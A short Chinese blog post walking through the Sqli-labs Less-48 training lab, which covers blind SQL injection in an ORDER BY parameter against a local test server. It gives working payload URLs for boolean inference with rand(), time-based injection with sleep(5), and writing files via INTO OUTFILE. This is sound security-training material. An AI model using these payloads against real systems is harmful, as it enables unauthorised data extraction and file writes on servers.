Sqli-labs Less-48 order by后的注入

本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。

1、可以利用sort=rand(true/false)进行判断。

http://127.0.0.1/sql/Less-48/?sort=rand(ascii(left(database(),1))=178)

http://127.0.0.1/sql/Less-48/?sort=rand(ascii(left(database(),1))=115)

 

2、and后的延时注入

http://127.0.0.1/sql/Less-48/?sort=1 and (If(ascii(substr(database(),1,1))=115,0,sleep(5)))

不贴效果图了。

 

3、本关我们依旧可以用into outfile进行。

http://127.0.0.1/sql/Less-48/?sort=1 into outfile "路径"

这里就不进行贴图演示了。

posted @   zhengna  阅读(391)  评论(0编辑  收藏  举报
编辑推荐:
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· Java 中堆内存和栈内存上的数据分布和特点
· 开发中对象命名的一点思考
阅读排行:
· PPT革命!DeepSeek+Kimi=N小时工作5分钟完成?
· What?废柴, 还在本地部署DeepSeek吗?Are you kidding?
· DeepSeek企业级部署实战指南:从服务器选型到Dify私有化落地
· 程序员转型AI:行业分析
· 重磅发布!DeepSeek 微调秘籍揭秘,一键解锁升级版全家桶,AI 玩家必备神器!
点击右上角即可分享
微信分享提示